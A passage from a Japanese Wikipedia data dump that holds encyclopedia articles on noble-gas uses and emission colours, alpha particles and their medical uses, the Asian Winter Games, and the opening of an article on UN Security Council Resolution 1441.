* 反応性が低いことから、太陽系形成初期の同位体組成比を維持していると考えられるため、極微量の貴ガス分子でも高感度に検出できる専用の質量分析計を利用し、地球内部<ref>[https://doi.org/10.4145/jahs.37.221 同位体・希ガストレーサーによる地下水研究の現状と新展開] 日本水文科学会誌 Vol.37 (2007) No.4 P221-252</ref>及び地球外岩石の由来や様々な過程の情報を分析することが可能である<ref>[http://www.eqchem.s.u-tokyo.ac.jp/kenkyu/noblegas/noblegas-top.html 希ガス同位体地球惑星科学] 東京大学大学院理学系研究科附属地殻化学実験施設・惑星化学研究室</ref>。例えば、小惑星探査機[[はやぶさ (探査機)|はやぶさ]]が持ち帰った[[小惑星]][[イトカワ (小惑星)|イトカワ]]のサンプル解析に用いられた<ref>{{PDFlink|[http://www.eqchem.s.u-tokyo.ac.jp/kenkyu/hayabusa120327.pdf はやぶさが持ち帰った小惑星の微粒子を分析 -希ガス同位体分析からわかったこと-] 東京大学大学院理学系研究科附属地殻化学実験施設・惑星化学研究室}}</ref>。
* 地球の大気に比較的多く含まれるアルゴンは、第18族元素の中では比較的安価なので、やはり反応性が低いことを利用して、食品などの酸化を防ぐために、食品と共にアルゴンを密封容器に封入されることがある。
* [[白熱電球]]のフィラメントが気化することを抑えるため、電球内に封入される。[[1913年]]に[[アーヴィング・ラングミュア]]がこの方法を開発するまで電球内の空間は真空にされており、[[昇華_(化学)|昇華]]によるフィラメントの消耗が大きかった。
* キセノンは[[麻酔|麻酔薬]]として利用されることがある<ref>{{Cite web |url=http://www.med.teikyo-u.ac.jp/~anestuih/Xenon/Xe-Anesthesia.html |title=出典 |publisher=帝京大学 |accessdate=2021-11-17}}</ref>。
== 発光色 ==
<center>
{| class="wikitable" style="text-align:center;"
| width="20%"|[[ファイル:Helium-glow.jpg|alt=Glass tube shining violet light with a wire wound over it|160px]]
| width="20%"|[[ファイル:Neon-glow.jpg|alt=Glass tube shining orange light with a wire wound over it|160px]]
| width="20%"|[[ファイル:Argon-glow.jpg|alt=Glass tube shining purple light with a wire wound over it|160px]]
| width="20%"|[[ファイル:Krypton-glow.jpg|alt=Glass tube shining white light with a wire wound over it|160px]]
| width="20%"|[[ファイル:Xenon-glow.jpg|alt=Glass tube shining blue light with a wire wound over it|160px]]
|-
| width="20%"|[[ファイル:Helium discharge tube.jpg|alt=Glass tube shining light red|160px]]
| width="20%"|[[ファイル:Neon discharge tube.jpg|alt=Glass tube shining reddish-orange|160px]]
| width="20%"|[[ファイル:Argon discharge tube.jpg|alt=Glass tube shining purple|160px]]
| width="20%"|[[ファイル:Krypton discharge tube.jpg|alt=Glass tube shining bluish-white|160px]]
| width="20%"|[[ファイル:Xenon discharge tube.jpg|alt=Glass tube shining bluish-violet|160px]]
|-
| width="20%"|[[ファイル:HeTube.jpg|alt=Illuminated light red gas discharge tubes shaped as letters H and e|160px]]
| width="20%"|[[ファイル:NeTube.jpg|alt=Illuminated orange gas discharge tubes shaped as letters N and e|160px]]
| width="20%"|[[ファイル:ArTube.jpg|alt=Illuminated light blue gas discharge tubes shaped as letters A and r|160px]]
| width="20%"|[[ファイル:KrTube.jpg|alt=Illuminated white gas discharge tubes shaped as letters K and r|160px]]
| width="20%"|[[ファイル:XeTube.jpg|alt=Illuminated violet gas discharge tubes shaped as letters X and e|160px]]
|-
| width="20%"|[[ファイル:Helium spectra.jpg|alt=Helium line spectrum|160px]]
| width="20%"|[[ファイル:Neon spectra.jpg|alt=Neon line spectrum|160px]]
| width="20%"|[[ファイル:Argon Spectrum.png|alt=Argon line spectrum|160px]]
| width="20%"|[[ファイル:Krypton Spectrum.jpg|alt=Krypton line spectrum|160px]]
| width="20%"|[[ファイル:Xenon Spectrum.jpg|alt=Xenon line spectrum|160px]]
|-
|ヘリウム
|ネオン
|アルゴン<br /><small>(「Ar」の文字のものは[[水銀]]が混ざっている)</small>
|クリプトン
|キセノン
|}
</center>
気体の放電による発光の色は、いくつかの要因によって変化する。例えば:<ref>{{cite book|pages=383–384|url=https://books.google.co.jp/books?id=AEFPNfghI3QC&pg=PA383&redir_esc=y&hl=ja|title=Scientific photography and applied imaging|author=Ray, Sidney F.|publisher=Focal Press|year=1999|isbn=0-240-51323-1}}</ref>
* 放電時のパラメータ。局所的な[[電流密度]]や[[電場]]、温度など。一番上の列の写真では、放電管の中の位置によって色が様々に異なっている。
* 気体の純度。わずかに他の気体が混入しても色に影響する。
* 放電管の材料。一番下の列の写真では、家庭用の厚いガラス管でできており、紫外光および青色光が抑えられていることに注意。
== 脚注 ==
{{脚注ヘルプ}}
===注釈===
{{notelist}}
===出典===
{{reflist}}
== 参考文献 ==
* Frenking, G. ''Nature'' '''2000''', 406, 813. {{doi|10.1038/35022678}}
== 関連項目 ==
* [[貴ガス化合物]]
* [[貴ガス水素化物]]
{{元素周期表}}
{{Normdaten}}
{{DEFAULTSORT:たい18そくけんそ}}
[[Category:貴ガス|*]]
[[Category:周期表の族|#18]] | 2003-04-16T12:09:07Z | 2023-12-19T11:48:53Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E7%AC%AC18%E6%97%8F%E5%85%83%E7%B4%A0 |
6,809 | アルファ粒子 | アルファ粒子(アルファりゅうし、α粒子、英: alpha particle)は、高い運動エネルギーを持つヘリウム4の原子核である。陽子2個と中性子2個からなる。放射線の一種のアルファ線(アルファせん、α線、英: alpha ray)は、アルファ粒子の流れである(アルファ線、およびベータ線はラザフォードが発見)。
固有の粒子記号は持たず、ヘリウム4の2価陽イオンとして He(より厳密には He)と表される。
アルファ粒子は不安定核のアルファ崩壊にともなって放出される。+2の電荷を帯びており、ローレンツ力によって電場や磁場で屈曲される。
α線の速さは核種によって違うが、おおむね (1.5〜2.0)×10 m/s(秒速1万5000キロから2万キロ)程度である。真空中における光速 2.99792458×10 m/s と比較すると、α線の速さは光速の数%程度にも達するということになる。
電離作用が強いので透過力は小さく、紙や数cmの空気層で止められる。しかし、その電離作用の強さのため、アルファ線を出す物質を体内に取り込んだ場合の内部被曝には十分注意しなければならない。
アルファ粒子を観測するには、電離作用が利用される場合が多く、古典的には帯電した箔検電器やガイガーカウンター、霧箱などが利用されたが、近年はシンチレーション検出器などが利用される場合が多い。ガイガー=ミュラー管の場合はマイカ(雲母)窓式のもの、シンチレーション検出器の場合測定部位には硫化亜鉛がよく用いられる。
アルファ粒子は蛍光物質を励起するので、ごく微量のアルファ線源を添加した蛍光物質は夜光塗料として利用される場合もある。20世紀の初めから夜光時計にアルファ粒子を放出するラジウム226が用いられたが、1960年頃からより安全なベータ粒子放出核種に置き換えられている。
また、アルファ粒子のイオン化作用を利用するために、分析化学機器の検出器にアルファ線源を利用するものも多い。キャンプ用のランタンに微量のトリウムを含有させて、イオン化により炎を安定化させる利用法もある。
住宅用火災警報器や自動火災報知設備のイオン化式煙感知器にアメリシウム241が放出するアルファ粒子が利用される。
2006年、イギリスに亡命していた元ロシア連邦保安庁 (FSB) 職員が、アルファ線源であるポロニウム210を服用させられて放射線障害で殺害される事件が起きている(リトビネンコ事件)。
1990年代以降、放射線治療の分野においてアルファ線の利用が模索されている。従来の非密封小線源治療では、「I-Bexxar (ベキサール)」、「Sr-Metastron (メタストロン)」、「Sm-Quadramet (クアドラメット)」、「Y-Zevalin(ゼヴァリン)」、「Lu-DOTATATE 」などのベータ線放出核種で標識した放射性医薬品が治療に用いられ、密封小線源治療においてもI、Irなどベータ線放出核種を用いることが多い。ベータ線は同様に小線源治療に利用されるガンマ線や、外部放射線治療で使用される加速電圧4~12MVのX線やエネルギー4~8MeVの電子線よりは飛程が短いものの、数ミリメートルから数センチメートル程度の飛程を有しているため、腫瘍組織のみならず正常組織にも放射線が照射されてしまう。一方でアルファ線はベータ線と比較しても極めて飛程が短く、また電荷の絶対値がベータ線の2倍である事やアルファ崩壊による放出エネルギーがベータ崩壊と比較して大きい事から、線エネルギー付与 (LET)が非常に大きい。その為、ベータ線放出核種標識医薬品よりも更に局所的な放射線治療に利用できると期待されている。
2018年3月現在で、日本国の薬価収載を受けたアルファ線放出核種標識薬剤は「Ra-Xofigo (ゾーフィゴ)」のみである。放射線治療用アルファ線放出核種標識薬剤は現在、研究・開発の途上に有り、例えばTb、Bi、At、Acなどを用いた薬剤で、第III層以下の臨床試験が実施されている薬剤も多く存在する。
また、ホウ素10中性子捕捉療法 (BNCT) は、B 原子核に中性子線が照射された際に、アルファ線とLi 原子核が放射される事を治療効果に利用している。 | [
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"text": "また、アルファ粒子のイオン化作用を利用するために、分析化学機器の検出器にアルファ線源を利用するものも多い。キャンプ用のランタンに微量のトリウムを含有させて、イオン化により炎を安定化させる利用法もある。",
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"text": "2006年、イギリスに亡命していた元ロシア連邦保安庁 (FSB) 職員が、アルファ線源であるポロニウム210を服用させられて放射線障害で殺害される事件が起きている(リトビネンコ事件)。",
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"text": "2018年3月現在で、日本国の薬価収載を受けたアルファ線放出核種標識薬剤は「Ra-Xofigo (ゾーフィゴ)」のみである。放射線治療用アルファ線放出核種標識薬剤は現在、研究・開発の途上に有り、例えばTb、Bi、At、Acなどを用いた薬剤で、第III層以下の臨床試験が実施されている薬剤も多く存在する。",
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]
| アルファ粒子は、高い運動エネルギーを持つヘリウム4の原子核である。陽子2個と中性子2個からなる。放射線の一種のアルファ線は、アルファ粒子の流れである(アルファ線、およびベータ線はラザフォードが発見)。 固有の粒子記号は持たず、ヘリウム4の2価陽イオンとして He2+と表される。 | {{Infobox particle
| 背景色 =
| 名前 = アルファ粒子
| 画像 =
| 説明 =
| 型数 =
| 分類 =
| 組成 = [[陽子]]2個と[[中性子]]2個
| 統計 =[[ボース粒子]]
| グループ =
| 世代 =
| 相互作用 = [[弱い相互作用]]<br/>[[強い相互作用]]<br/>[[電磁相互作用]]<br/>[[重力相互作用]]
| 粒子 =
| 反粒子 = [[反ヘリウム]]原子核
| ステータス =
| 理論化 =
| 発見 = [[アーネスト・ラザフォード]](1899年)
| 記号 =
| 質量 ={{Val|6.6446573357|(20)|e=-27|ul=kg}}<ref>{{Cite web|url=https://physics.nist.gov/cgi-bin/cuu/Value?mal|title=CODATA Value: alpha particle mass|work=[[科学技術データ委員会|CODATA]]|publisher=[[アメリカ国立標準技術研究所|NIST]]|date=20 May 2019|accessdate=2022-11-19}}</ref><br>{{Val|3.7273794066|(11)|ul=GeV/c2}}<ref>{{Cite web|url=https://physics.nist.gov/cgi-bin/cuu/Value?malc2mev|title=CODATA Value: alpha particle mass energy equivalent in MeV|work=CODATA|publisher=NIST|date=20 May 2019|accessdate=2022-11-19}}</ref><br>{{Val|4.001506179127|(63)|ul=u}}<ref>{{Cite web|url=https://physics.nist.gov/cgi-bin/cuu/Value?malu|title=CODATA Value: alpha particle mass in u|work=CODATA|publisher=NIST|date=20 May 2019|accessdate=2022-11-19}}</ref>
| 平均寿命 =
| 崩壊粒子 =
| 電荷 = +2[[素電荷|e]]
| 荷電半径 =
| 電気双極子モーメント =
| 電気的分極率 =
| 磁気モーメント =
| 磁気的分極率 =
| 色荷 =
| スピン =0<ref name="Krane">{{cite book|last1=Krane|first1=Kenneth S.|first2=David|last2=Halliday|year=1988|title=Introductory Nuclear Physics|pages=246-269|publisher=[[ジョン・ワイリー・アンド・サンズ|John Wiley & Sons]]|lccn=87010623|asin=0471859141|ncid=BA06923193|oclc=300409885|isbn=978-0-471-80553-3}}</ref>
| スピン状態数 =
| レプトン数 =
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| トップネス =
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| 弱アイソスピン =
| 弱アイソスピン_3 =
| 超電荷 =
| 弱超電荷 =
| カイラリティ =
| B-L =
| X荷 =
| パリティ =
| Gパリティ =
| Cパリティ =
| Rパリティ =
}}
'''アルファ粒子'''(アルファりゅうし、α粒子、{{lang-en-short|alpha particle}})は、高い[[運動エネルギー]]を持つ[[ヘリウムの同位体#ヘリウム4|ヘリウム4]]の[[原子核]]である。[[陽子]]2個と[[中性子]]2個からなる。[[放射線]]の一種の'''アルファ線'''(アルファせん、α線、{{lang-en-short|alpha ray}})は、アルファ粒子の流れである(アルファ線、およびベータ線は[[アーネスト・ラザフォード|ラザフォード]]が発見)。
固有の粒子記号は持たず、ヘリウム4の2価[[陽イオン]]として {{Chem|He|2+}}(より厳密には {{Chem|4|He|2+}})と表される。
== 性質 ==
[[ファイル:Alpha Decay.svg|thumb|原子核が[[アルファ崩壊]]してアルファ粒子を放出している]]
[[ファイル:Alphaparticlemagnetic.svg|thumb|手前から奥に向かう磁場の中では、正の電荷を持つアルファ粒子は図のように[[回転運動]]する{{See also|ローレンツ力|フレミング左手の法則}}]]
[[ファイル:Alfa_beta_gamma_radiation.svg|thumb|[[ベータ線]]の実態である[[電子]]や[[ガンマ線]]と異なり、ヘリウム4の原子核であるアルファ粒子は一枚の紙すら通過できない。]]
アルファ粒子は[[不安定核]]の[[アルファ崩壊]]にともなって放出される。+2の[[電荷]]を帯びており、[[ローレンツ力]]によって[[電場]]や[[磁場]]で屈曲される。
α線の速さは核種によって違うが、おおむね {{Val|1.5|~|2.0|e=7|ul=m/s}}(秒速1万5000キロから2万キロ)程度である<ref>{{Cite book|和書|author=渡辺久夫|date=2003-10|title=[[親切な物理]]|volume=下|edition=復刻版|page=378|publisher=ブッキング(復刊ドットコム)|isbn=978-4-83-544069-9|asin=4835440692|oclc=939402359|ncid=BA64865899}}</ref>。[[真空]]中における[[光速]] {{Val|2.99792458|e=8|u=m/s}} と比較すると、α線の速さは光速の数%程度にも達するということになる。
[[電離]]作用が強いので透過力は小さく、紙や数[[センチメートル|cm]]の空気層で止められる。しかし、その電離作用の強さのため、アルファ線を出す物質を体内に取り込んだ場合の[[被曝|内部被曝]]には十分注意しなければならない。
== 検出 ==
アルファ粒子を観測するには、電離作用が利用される場合が多く、古典的には帯電した[[検電器|箔検電器]]や[[ガイガーカウンター]]、[[霧箱]]などが利用されたが、近年は[[シンチレーション検出器]]などが利用される場合が多い。[[ガイガー=ミュラー管]]の場合はマイカ([[雲母]])窓式のもの、シンチレーション検出器の場合測定部位には[[硫化亜鉛]]がよく用いられる<ref>{{Cite web|url=http://www.deqtech.com/DEQ/Categories/alpha_detectors.htm|publisher=DEQ Technical Sales, LLC|title=Alpha Radiation Detectors|language=en|accessdate=2022-11-19|deadlinkdate=2022年11月19日|archiveurl=https://web.archive.org/web/20160307223140/http://www.deqtech.com/DEQ/Categories/alpha_detectors.htm|archivedate=2016-03-07}}</ref>。
== 用途 ==
アルファ粒子は[[蛍光]]物質を励起するので、ごく微量のアルファ線源を添加した蛍光物質は夜光塗料として利用される場合もある。20世紀の初めから夜光時計にアルファ粒子を放出する[[ラジウム]]226が用いられたが、1960年頃からより安全な[[ベータ粒子]]放出核種に置き換えられている<ref name="atomica08-04-02-07">{{ATOMICA|08-04-02-07|夜光時計、蛍光灯点灯管、煙感知器など日用品への放射性同位元素の利用 (08-04-02-07)|accessdate=2022-11-19}}</ref>。
また、アルファ粒子のイオン化作用を利用するために、分析化学機器の検出器にアルファ線源を利用するものも多い。キャンプ用の[[ランプ (照明器具)#ランタン|ランタン]]に微量の[[トリウム]]を含有させて、イオン化により炎を安定化させる利用法もある。
[[住宅用火災警報器]]や[[自動火災報知設備]]のイオン化式煙感知器に[[アメリシウム]]241が放出するアルファ粒子が利用される{{R|atomica08-04-02-07}}。
2006年、イギリスに亡命していた元[[ロシア連邦保安庁]] (FSB) 職員が、アルファ線源である[[ポロニウム210]]を服用させられて放射線障害で殺害される事件が起きている([[リトビネンコ事件]])。
=== 医用放射性同位元素として ===
1990年代以降、[[放射線治療]]の分野においてアルファ線の利用が模索されている。従来の[[RI内用療法|非密封小線源治療]]では、「<sup>131</sup>[[ヨウ素|I]]-Bexxar (ベキサール)<sup>®</sup>」、「<sup>89</sup>[[ストロンチウム|Sr]]-Metastron (メタストロン)<sup>®</sup>」、「<sup>153</sup>[[サマリウム|Sm]]-Quadramet (クアドラメット)<sup>®</sup>」、「<sup>90</sup>[[イットリウム|Y]]-[[イブリツモマブ チウキセタン|Zevalin(ゼヴァリン)]]<sup>®</sup>」、「<sup>177</sup>[[ルテチウム|Lu]]-DOTATATE <sup>®</sup>」などのベータ線放出核種で標識した放射性医薬品が治療に用いられ、密封小線源治療においても<sup>125</sup>[[ヨウ素|I]]、<sup>192</sup>[[イリジウム|Ir]]などベータ線放出核種を用いることが多い。ベータ線は同様に小線源治療に利用されるガンマ線や、外部放射線治療で使用される加速電圧4~12MVのX線やエネルギー4~8MeVの電子線よりは飛程が短いものの、数ミリメートルから数センチメートル程度の飛程を有しているため、腫瘍組織のみならず正常組織にも放射線が照射されてしまう。一方でアルファ線はベータ線と比較しても極めて飛程が短く、また電荷の絶対値がベータ線の2倍である事やアルファ崩壊による放出エネルギーがベータ崩壊と比較して大きい事から、線エネルギー付与 (LET)が非常に大きい。その為、ベータ線放出核種標識医薬品よりも更に局所的な放射線治療に利用できると期待されている。
2018年3月現在で、日本国の薬価収載を受けたアルファ線放出核種標識薬剤は「<sup>233</sup>[[ラジウム|Ra]]-[[塩化ラジウム223|Xofigo (ゾーフィゴ)]]<sup>®</sup>」のみである。放射線治療用アルファ線放出核種標識薬剤は現在、研究・開発の途上に有り、例えば<sup>149</sup>[[テルビウム|Tb]]、<sup>213</sup>[[ビスマス|Bi]]、<sup>211</sup>[[アスタチン|At]]、<sup>225</sup>[[アクチニウム|Ac]]などを用いた薬剤で、第Ⅲ層以下の[[臨床試験]]が実施されている薬剤も多く存在する。
また、[[中性子捕捉療法|ホウ素10中性子捕捉療法 (BNCT)]] は、<sup>10</sup>[[ホウ素|B]] 原子核に中性子線が照射された際に、アルファ線と<sup>7</sup>[[リチウム|Li]] 原子核が放射される事を治療効果に利用している。
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 関連項目 ==
{{Commonscat}}
* [[放射線]]
** [[ベータ粒子]]
** [[ガンマ線]]→ガンマ粒子
* [[原子核物理学]]
* [[アルファ崩壊]]
** [[ガイガー・ヌッタルの法則]]
* [[ラザフォード散乱]]
* [[硫化亜鉛]]→アルファ線の測定によく用いられる物質
{{放射線}}
{{Normdaten}}
{{DEFAULTSORT:あるふありゆうし}}
[[Category:放射線]]
[[Category:ヘリウム]]
[[Category:カチオン]] | 2003-04-16T12:27:27Z | 2023-11-07T13:07:55Z | false | false | false | [
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"Template:放射線"
]
| https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%AB%E3%83%95%E3%82%A1%E7%B2%92%E5%AD%90 |
6,810 | アジア冬季競技大会 | アジア冬季競技大会(アジアとうききょうぎたいかい、英語: Asian Winter Games)は、1986年以来、ほぼ4年ごとにアジアで開催されている冬の国際総合競技大会である。
夏季アジア大会は、1951年の初開催以来、アジア地域におけるスポーツ振興に大きく貢献した。これを受けて、1982年、日本オリンピック委員会 (JOC) が同地域の冬季スポーツの発展を期して冬季大会の開催をアジアオリンピック評議会に提案、1986年に第1回大会が行なわれたのがその始まりである。その後、ソビエト連邦崩壊に伴ってカザフスタンなどが加入、東南アジアや西アジアからの選手団の参加も増え、大会規模は徐々に拡大している。
日本では、1986年の第1回および1990年の第2回大会と2017年の第8回大会が札幌市で、2003年の第5回大会が青森県で開催された。 | [
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"title": "沿革"
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| アジア冬季競技大会は、1986年以来、ほぼ4年ごとにアジアで開催されている冬の国際総合競技大会である。 | {{スポーツ大会シリーズ
| 大会名 =
| 別名 = {{Lang-en|Asian Winter Games}}
| 画像 = Asian Games logo.svg
| 画像サイズ = 100
| 画像説明 = アジア・オリンピック評議会のロゴ
| 競技 = [[総合競技大会]]
| 大会形式 =
| 開始年 = {{Start date |1986}}
| 終了年 =
| 主催 = [[アジア・オリンピック評議会]]
| 開催時期 = 約4年毎
| 参加数 =
| 加盟国 =
| 加盟組織 =
| 参加チーム =
| 公式サイト = {{URL|1=https://ocasia.org/games/?category=3}} {{In lang|en}}
| module = {{Infobox |child=yes
| title = 大会
| datastyle = border-bottom: solid 1px #ccc;
| data1 = {{Flatlist|
* [[1986年アジア冬季競技大会|1986]]
* [[1990年アジア冬季競技大会|1990]]
* [[1996年アジア冬季競技大会|1996]]
* [[1999年アジア冬季競技大会|1999]]
* [[2003年アジア冬季競技大会|2003]]
* [[2007年アジア冬季競技大会|2007]]
* [[2011年アジア冬季競技大会|2011]]
* [[2017年アジア冬季競技大会|2017]]
* ''[[2025年アジア冬季競技大会|2025]]''
* ''[[2029年アジア冬季競技大会|2029]]''
}} }}
}}
'''アジア冬季競技大会'''(アジアとうききょうぎたいかい、{{Lang-en|Asian Winter Games}})は、[[1986年]]以来、ほぼ4年ごとに[[アジア]]で開催されている冬の国際[[総合競技大会]]である。
== 沿革 ==
夏季[[アジア競技大会|アジア大会]]は、[[1951年]]の初開催以来、{{要出典範囲|アジア地域におけるスポーツ振興に大きく貢献した|date=2020年6月}}。これを受けて、[[1982年]]、[[日本オリンピック委員会]] (JOC) が同地域の冬季スポーツの発展を期して冬季大会の開催を[[アジアオリンピック評議会]]に提案、[[1986年]]に第1回大会が行なわれたのがその始まりである<ref>{{Cite web|和書|title=アジア冬季競技大会の沿革 |url=https://www.joc.or.jp/games/asia/history/winter.html |website=日本オリンピック委員会 |access-date=2020-06-23 }}</ref>。その後、[[ソビエト連邦]]崩壊に伴って[[カザフスタン]]などが加入、[[東南アジア]]や[[西アジア]]からの選手団の参加も増え、大会規模は徐々に拡大している。
日本では、[[1986年]]の第1回および[[1990年]]の第2回大会と[[2017年]]の第8回大会が[[札幌市]]で、[[2003年]]の第5回大会が[[青森県]]で開催された。
== 大会一覧 ==
{| class="wikitable"
|-
!回
!年次
!開催都市
!参加国数
!競技/種目数
!選手数
|-
|[[1986年アジア冬季競技大会|第1回]]
|[[1986年]]
|{{Flagicon2|JPN|1947}} [[札幌市|札幌]]
|7
|4
|430
|-
|[[1990年アジア冬季競技大会|第2回]]
|[[1990年]]
|{{Flagicon2|JPN|1947}} [[札幌市|札幌]]
|10
|4
|441
|-
|[[1996年アジア冬季競技大会|第3回]]
|[[1996年]]
|{{Flagicon2|CHN}} [[ハルビン市|ハルビン]]
|17
|4
|702
|-
|[[1999年アジア冬季競技大会|第4回]]
|[[1999年]]
|{{Flagicon2|KOR}} [[江原道 (南)|江原道]]
|21
|4
|798
|-
|[[2003年アジア冬季競技大会|第5回]]
|[[2003年]]
|{{Flagicon2|JPN}} [[青森県|青森]]
|29
|5
|1016
|-
|[[2007年アジア冬季競技大会|第6回]]
|[[2007年]]
|{{Flagicon2|CHN}} [[長春市|長春]]
|25
|5
|約800
|-
|[[2011年アジア冬季競技大会|第7回]]
|[[2011年]]
|{{Flagicon2|KAZ}} [[アスタナ]]-[[アルマトイ]]
|26
|5 / 11
|843
|-
|[[2017年アジア冬季競技大会|第8回]]
|[[2017年]]
|{{Flagicon2|JPN}} [[札幌市|札幌]]<!--host cityは公式に札幌です-->
|30<ref>[[クウェート]]は同国オリンピック委員会としてのエントリーはなされなかったが、個人資格扱いでの出場(公式表彰あり)である。他に、[[オセアニア国内オリンピック委員会]]から[[オーストラリア]]、[[ニュージーランド]]の2か国が、ゲスト参加という形で出場している(公式種目のエントリーで個人成績は残るが、メダル・入賞の表彰対象外である)。[https://sapporo2017.org/site/news/1201.html 2017冬季アジア札幌大会 国・地域別参加エントリーについて 2016年12月1日] {{webarchive|url=https://web.archive.org/web/20170223125119/https://sapporo2017.org/site/news/1201.html |date=2017年2月23日 }}</ref>
|5 / 11
|1200
|-
|[[2025年アジア冬季競技大会|第9回]]
|[[2025年]]
|{{Flagicon2|CHN}} [[ハルビン市|ハルビン]]
|
|
|
|-
|[[2029年アジア冬季競技大会|第10回]]
|[[2029年]]
|{{Flagicon2|KSA}} [[ネオム]]
|
|
|
|}
{{Location map+|Asia|width=500|float=left|caption=開催都市の位置図|places=
{{Location map~|Asia|position=right|lat=43.042069|long=141.299530|label='''[[札幌市|1986,1990,2017]]'''}}
{{Location map~|Asia|position=top|lat=45.804623|long=126.532435|label='''[[ハルビン市|1996,2025]]'''}}
{{Location map~|Asia|position=|lat=37.912750|long=128.072433|label='''[[江原道 (南)|1999]]'''}}
{{Location map~|Asia|position=bottom|lat=40.831633|long=140.747365|label='''[[青森県|2003]]'''}}
{{Location map~|Asia|position=left|lat=43.831171|long=125.323544|label='''[[長春市|2007]]'''}}
{{Location map~|Asia|position=|lat=51.162503|long=71.470356|label='''[[アスタナ|2011]]'''}}
{{Location map~|Asia|position=|lat=43.226592|long=76.851248|label='''[[アルマトイ|2011]]'''}}
{{Location map~|Asia|position=|lat=28.006389|long=35.2025|label='''[[ネオム|2029]]'''}}
}}{{-}}
== 実施競技 ==
[[File:Bandy in Medeu Kazakhstan.JPG|thumb|[[バンディ]]競技の決勝戦([[アルマトイ]]、2011年)]]
{| class="wikitable" style="font-size: 90%; text-align: center;"
! 種目
! [[1986年アジア冬季競技大会|1986]]
! [[1990年アジア冬季競技大会|1990]]
! [[1996年アジア冬季競技大会|1996]]
! [[1999年アジア冬季競技大会|1999]]
! [[2003年アジア冬季競技大会|2003]]
! [[2007年アジア冬季競技大会|2007]]
! [[2011年アジア冬季競技大会|2011]]
! [[2017年アジア冬季競技大会|2017]]
! 備考
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| <!-- 備考 -->
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| style="text-align: left;" | [[File:Short track speed skating pictogram.svg|24px]] [[アジア冬季競技大会ショートトラックスピードスケート競技|ショートトラックスピードスケート]]
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| style="text-align: left;" | [[File:Ski jumping pictogram.svg|24px]] [[アジア冬季競技大会スキージャンプ競技|スキージャンプ]]
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| <!-- 備考 --> style="text-align: left;" | ''d''はデモンストレーション競技
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| style="text-align: left;" | [[File:Ski-orienteering pictogram.svg|24px]] [[アジア冬季競技大会スキーオリエンテーリング競技|スキーオリエンテーリング]]
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| <!-- 備考 -->
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| <!-- 備考 --> style="text-align: left;" | 2003年女子はデモンストレーション競技
|-
| style="text-align: left;" | [[File:Snowboarding pictogram.svg|24px]] [[アジア冬季競技大会スピードスケート競技|スピードスケート]]
| <!-- 1986 --> '''•'''
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| <!-- 2003 --> '''•'''
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| <!-- 備考 -->
|}
== 脚注 ==
<references />
== 関連項目 ==
*[[アジア競技大会]](夏季大会)
*[[アジアパラ競技大会]]
*[[冬季オリンピック]]
*[[冬季パラリンピック]]
== 外部リンク ==
* [https://www.joc.or.jp/games/asia/ アジア冬季競技大会] - 日本オリンピック委員会
* [https://web.archive.org/web/20031205013402/http://www.net.pref.aomori.jp/awagoc/ 青森大会・公式サイト]
* [https://ocasia.org/games/?category=3 Asian Winter Games] - アジア・オリンピック評議会 {{In lang|en}}
{{アジア競技大会}}
{{国際オリンピック委員会}}
{{デフォルトソート:あしあとうききようきたいかい}}
[[Category:アジア冬季競技大会|*]] | 2003-04-16T12:30:49Z | 2023-10-06T11:10:53Z | false | false | false | [
"Template:Tooltip",
"Template:Cite web",
"Template:アジア競技大会",
"Template:国際オリンピック委員会",
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]
| https://ja.wikipedia.org/wiki/%E3%82%A2%E3%82%B8%E3%82%A2%E5%86%AC%E5%AD%A3%E7%AB%B6%E6%8A%80%E5%A4%A7%E4%BC%9A |
6,811 | 国際連合安全保障理事会決議1441 | 国際連合安全保障理事会決議1441(こくさいれんごうあんぜんほしょうりじかいけつぎ1441、英: United Nations Security Council Resolution 1441)は、2002年11月8日に国際連合安全保障理事会で採択されたイラク・クウェート情勢に関する決議。略称はUNSCR1441。
国連安保理決議1441は、イラクの武装解除を求めるもの。イラクが武装解除義務の重大な不履行を続けていると判断し、さらなる情報開示と査察の全面受入れを求めた。イラクは同年11月13日に受託し、11月27日には1998年以来退去していた国連の武器査察団が査察を再開することになった。決議は全会一致で採択された。
決議の採択後の11月11日には国民議会でこの国連決議の拒否が採択され、サッダーム・フセイン大統領に最終決定をゆだねる動議を全会一致で採択した。11月13日にサッダーム・フセイン大統領はこの決議を受け入れることを表明した。
11月末には国連査察団のイラク国内立ち入りが行われた。国際連合監視検証査察委員会のハンス・ブリックス委員長と国際原子力機関のモハメド・エルバラダイ事務局長が先遣隊としてイラクに入国し、同月25日から査察団が入国、27日から査察が開始された。当初は少人数で行われていたが、12月に入ると85から100人規模に拡大された。しかし査察対象施設は1,000以上あったため、決議で定められた2003年1月27日までの最終報告書の提出は不可能であった
12月7日には決議に基づいてイラク政府が大量破壊兵器に関する申告書を提出したが、この申告書は1万3,000ページにのぼった。アメリカ合衆国のパウエル国務長官は即座にこれをイラク側の時間稼ぎだと批判し、その2週間後である12月19日には、生物兵器や化学兵器の申告がないとして決議で示された「重大な違反」であるとした。この翌日にブリックス委員長は、申告書には新しい情報が記載されていないとしてイラク政府を批判したものの「重大な違反」であるとの認識は示さなかった。
12月27日にはイラク人科学者へのインタビューが開始された。翌28日にはイラク政府より500人以上にのぼる大量破壊兵器関連の科学者・技術者リストが提出された。
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最終報告書の提出期限である1月27日が迫るなか、1月15日には空の化学兵器弾頭11基が発見され、その4日後にはさらに4基が発見された。国際連合監視検証査察委員会の設置が定められた国際連合安全保障理事会決議1284では国際連合監視検証査察委員会の活動は120日とされており、これに従えば3月末までは査察活動を行うことが出来たが、アメリカは新しい決議である1441に従うのは当然であるとして1月27日までの最終報告を主張した。これにはフランスやロシア、ドイツが抵抗したが、最終報告は1月27日に安全保障理事会に提出された。
しかし、査察団は最終報告後もイラク国内で査察を行っていた。2月10日にはフランス、ロシア、ドイツは査察継続を求める共同宣言を行い、これを受けて査察団は2月14日に追加報告を国連で行った。この報告後、安全保障理事会では理事国の演説が行われ、アメリカ、イギリス、スペイン以外のすべての理事国が査察の継続を主張した。
3月7日には査察団による再追加報告が行われ、査察継続が求められたが、3月17日、アメリカは外交交渉の打ち切りを宣言し、同日夜にはイラクに対して軍事攻撃を開始する旨の最後通告を行ったため、査察団はイラク国外に退去した。 | [
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| 国際連合安全保障理事会決議1441は、2002年11月8日に国際連合安全保障理事会で採択されたイラク・クウェート情勢に関する決議。略称はUNSCR1441。 | {{Infobox UN resolution
|number =1441
